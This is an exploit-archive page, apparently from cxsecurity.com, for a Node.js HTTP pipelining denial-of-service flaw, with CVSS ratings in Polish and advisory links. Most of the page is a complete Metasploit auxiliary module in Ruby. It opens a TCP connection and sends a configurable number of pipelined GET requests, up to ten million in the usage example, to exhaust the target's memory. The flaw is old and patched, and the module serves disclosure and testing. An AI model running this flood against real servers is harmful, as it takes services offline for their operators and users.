Node.js HTTP Pipelining Denial of Service Exploit

2013.10.21
Risk: High
Local: No
Remote: Yes
CWE: CWE-20


Ogólna skala CVSS: 5/10
Znaczenie: 2.9/10
Łatwość wykorzystania: 10/10
Wymagany dostęp: Zdalny
Złożoność ataku: Niska
Autoryzacja: Nie wymagana
Wpływ na poufność: Brak
Wpływ na integralność: Brak
Wpływ na dostępność: Częściowy

#$ node -e "require('http').createServer(function(req, res){res.end();}).listen(9090);" #msf> use auxiliary/dos/http/node_pipelining #msf> set RHOST 127.0.0.1 #msf> set RPORT 9090 #msf> set RLIMIT 10000000 # depends on your machine #msf> run #... # #[*] DoS successful. 192.168.0.4:9090 not responding. # ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Dos def initialize(info = {}) super(update_info(info, 'Name' => 'Node.js HTTP Pipelining DoS', 'Description' => %q{ This module exploits a DoS in the HTTP parser of Node.js versions released before 0.10.21 and 0.8.26. The vulnerability is caused by a lack of backpressure on pipelined requests, causing unbounded memory allocation for each request. }, 'Author' => [ 'titanous', 'Marek Majkowski' ], 'License' => MSF_LICENSE, 'References' => [ [ 'URL', 'https://github.com/joyent/node/issues/6214' ], ], 'DisclosureDate' => 'Oct 18 2013')) register_options( [ Opt::RPORT(80), OptInt.new('RLIMIT', [true, "Number of requests to send", 1000]) ], self.class) end def run host = datastore['RHOST'] host += ":" + datastore['RPORT'].to_s if datastore['RPORT'].to_i != 80 payload = "GET / HTTP/1.1\r\n" payload << "Host: #{host}\r\n\r\n" begin connect datastore['RLIMIT'].times { sock.put(payload) } rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout print_status("Unable to connect to #{host}.") rescue ::Errno::ECONNRESET, ::Errno::EPIPE, ::Timeout::Error print_status("DoS successful. #{host} not responding.") ensure disconnect end end end

Referencje:

http://seclists.org/oss-sec/2013/q4/134
https://groups.google.com/forum/#!topic/nodejs/NEbweYB0ei0
http://blog.nodejs.org/2013/10/18/node-v0-10-21-stable/
http://blog.nodejs.org/2013/10/18/node-v0-8-26-maintenance/
https://github.com/joyent/node/issues/6214
https://github.com/joyent/node/commit/085dd30e93da67362f044ad1b3b6b2d997064692


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top